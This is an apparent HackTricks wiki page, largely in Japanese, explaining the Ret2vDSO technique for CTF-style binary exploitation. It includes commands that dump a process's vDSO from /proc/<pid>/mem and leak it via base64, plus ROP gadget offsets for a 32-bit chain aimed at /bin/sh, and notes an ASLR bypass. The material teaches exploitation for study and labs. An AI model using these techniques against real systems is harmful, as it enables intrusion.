Ret2vDSO
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
vDSO領域にはgadgetsが存在することがあります。vDSOはカーネルがマッピングする小さな ELF DSO で、いくつかのカーネルヘルパーをユーザースペースで高速に実装するために使われます。この種のチャレンジでは、vDSO領域をダンプするために通常カーネルイメージが提供されます。
Locating the vDSO base and exports
vDSO のベースアドレスは補助ベクタ(auxiliary vector)で AT_SYSINFO_EHDR として渡されます。したがって /proc/<pid>/auxv を読める(またはヘルパープロセスで getauxval を呼べる)なら、memory leak に頼らずにベースを復元できます。実際に取得する方法については Auxiliary Vector (auxv) and vDSO を参照してください。
ベースを取得したら、vDSO を通常の ELF DSO (linux-vdso.so.1) として扱います:マッピングをダンプし、readelf -Ws/objdump -d(またはカーネル参考パーサー tools/testing/selftests/vDSO/parse_vdso.c)を使ってエクスポートされたシンボルを解決し、gadgets を探します。x86 32-bit では vDSO は一般的に __kernel_vsyscall、__kernel_sigreturn、__kernel_rt_sigreturn をエクスポートします;x86_64 では典型的なエクスポートに __vdso_clock_gettime、__vdso_gettimeofday、__vdso_time があります。vDSO はシンボルバージョニングを使用しているため、シンボルを解決する際は期待されるバージョンと一致させてください。
Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ の例に従うと、vDSO セクションをダンプしてホストに移す方法が次のように示されています:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets が見つかりました:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won’t be randomized: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn’t find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) except a way to call a SROP. Check more info in the example from the page:
References
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


